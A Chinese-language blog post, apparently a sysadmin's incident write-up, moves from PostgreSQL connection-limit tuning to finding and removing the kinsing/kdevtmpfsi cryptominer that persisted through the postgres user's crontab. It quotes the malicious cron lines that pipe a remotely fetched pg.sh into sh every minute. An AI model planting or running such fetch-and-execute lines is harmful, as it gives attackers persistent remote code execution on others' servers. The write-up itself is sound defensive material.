背景:

  • pgsql连接时候报错org.postgresql.util.PSQLException: FATAL: sorry, too many clients already, 意思是client已经把连接池占满了.

  • 使用ps -ef | grep postgres删除几个进程, 进入数据库运行SELECT * FROM pg_stat_activity, 发现大部分都是idle空闲状态的连接

  • 然后修改/var/lib/pgsql/14/data/postgres.conf中的idle_session_timeout为2000(2s), 但是数据库中有警告(如下), 同时navicat中稍等2s后也会报这样异常, 但是再次运行就可以. 因为navicat/dbeaver也是通过连接池方式与数据库进行的连接

    2023-02-20 14:15:37.926 2023-02-20 14:15:37,926 [http-nio-80-exec-1459] WARN com.zaxxer.hikari.pool.PoolBase 173 - HikariPool-98 - Failed to validate connection org.postgresql.jdbc.PgConnection@5e029bbb (This connection has been closed.)

  • 后来只好将idle_session_timeout恢复, 然后尝试扩大线程池大小

  • 但是线程池大小跟服务器配置有关, 默认的大小是100, 在postgres.conf中修改max_connections为200, 重启数据库虽然可以正常使用, 但是在tomcat重启时(war包会依次重新部署), 服务器因为数据库连接池太大, 导致tomcat启动失败(可能是堆栈溢出了).

  • 再次尝试调整到150, 虽然可以正常使用, 但是postgres会占用cpu太高, 300%左右, 只好调整回100.

  • 在pgsql高版本中对此也有一部分配置, 比如每隔几分钟会发现无效连接并进行关闭, 可以减轻部分连接池压力(详情见参考1)

    一、idle_session_timeout参数用来控制空闲会话连接超时的时间。区别于tcp_keepalives相关参数，当一个会话连接长时间没有执行SQL或者活动时，会将该会话释放，可以释放缓存避免出现例如OOM等问题idle_session_timeout：默认值为0，表示禁用，其单位是毫秒;14版本引入了idle_session_timeout参数，可以在设置该参数，超过设置的时间，数据库会关闭空闲连接。之前的老版本可以使用pg_timeout插件，达到同样的效果。但是同样也会关闭掉我们想保留的正常的空闲连接，所以设置TCP keepalive是更好的解决方案。二、postgresql的tcp_keepalives相关参数设置可以及时发现无效连接，如下这样可以在5分钟以内就探测出无效连接tcp_keepalives_idle = 60 # TCP_KEEPIDLE, in seconds;tcp_keepalives_interval = 20 # TCP_KEEPINTVL, in seconds;tcp_keepalives_count = 10 # TCP_KEEPCNT;三、PG14版本还引入了client_connection_check_interval参数,每隔一段时间检测client是否离线（断开），如果已经离线，则快速结束掉正在运行的query，，浪费数据库资源。默认是0，单位默认毫秒官方文档解释：client_connection_check_interval = 0 # time between checks for client # disconnection while running queries; 0 for never

  • 就在调整回100后过了半个小时, 进服务器使用top复查时, 发现了一个还有一个线程占用了388.0%, 名称为kdevtmpfsi, 经过百度发现这是个在20年处爆发的挖矿僵尸网络蠕虫病毒, 但是网上都是说是通过redis未授权或弱口令作为入口进行侵入的, 但是这次遇到的情况却不是因为redis引起的.

  • 第一步肯定是先把进程停了: 使用kill -9 pid停止进程, 发现有个依赖进程kinsing, 那就先使用ps -ef | grep kinsing找到对应的pid停止即可.

  • 如果到这一步停止的话, 过不了多久他会自动重新启动的.

  • 继续挖, 全盘查找这两个文件 find / kinsing发现只有/tmp中有, 我第一次时候直接rm -f /tmp/kinsing删除了这两个文件, 然后就束手无策了, 但是在一小时左右时候kinsing又重新生成了.

  • 通过ll发现kinsing的拥有者是postgres, 这时才确定了是pgsql引起的, 而不是redis引起的

  • 接下来就好说了, 首先删除kinsing文件

  • 使用crontab指令(下方是使用说明)找出postgres创建的定时任务, 删除掉即可.

Usage: crontab [options] file crontab [options] crontab -n [hostname]Options: -u   define user -e         edit user's crontab -l         list user's crontab -r         delete user's crontab -i         prompt before deleting -n   set host in cluster to run users' crontabs -c         get host in cluster to run users' crontabs -s         selinux context -V         print version and exit -x   enable debugging

-u 定义用户(谁建立的)
-e 修改用户创建的定时任务
-l 列举出用户创建的定时任务
-r 删除用户创建的定时任务

crontab -u postgres -e 使用默认编辑器打开postgres创建的定时任务, 对应的定时任务文件在/var/spool/cron/目录下.

显示:

* * * * * wget -q -O - http://[ip]/pg.sh | sh > /dev/null 2>&1* * * * * wget -q -O - http://[other ip]/pg.sh | sh > /dev/null 2>&1

删除的话直接使用vim指令dd全部删除, :wq保存退出即可.

哪些有风险呢? 通过寻找解决之法时候发现包括但不限于以下几种

  • redis

  • pgsql

  • php

如何避免呢?

  • 服务器上只开放使用到的服务器

  • 尽量不使用默认端口(如: 3306, 5432, 8848)

  • 不用使用默认密码, 一定修改密码, 且复杂度高一些

  • 安装包使用官方版本

参考1: postgresql空闲连接以及连接有效性检查的参数小结

参考2: Postgres数据库修改最大连接数

参考3: 记一次服务器 linux（centos7）被 postgres 病毒攻击, 挖矿的事故

参考4: 阿里云服务器中挖矿病毒了，名称为 kinsing

参考5: kdevtmpfsi using 100% of CPU?

参考6: 关于linux病毒kinsing kdevtmpfsi 的处理

参考7: Linux服务器kdevtmpfsi挖矿病毒解决方法：治标+治本

参考8: kdevtmpfsi 处理（挖矿病毒清除）

参考9: 威胁快报|Redis RCE导致h2Miner蠕虫新一轮爆发，建议用户及时排查以防事态升级

参考10: linux – kdevtmpfsi using the entire CPU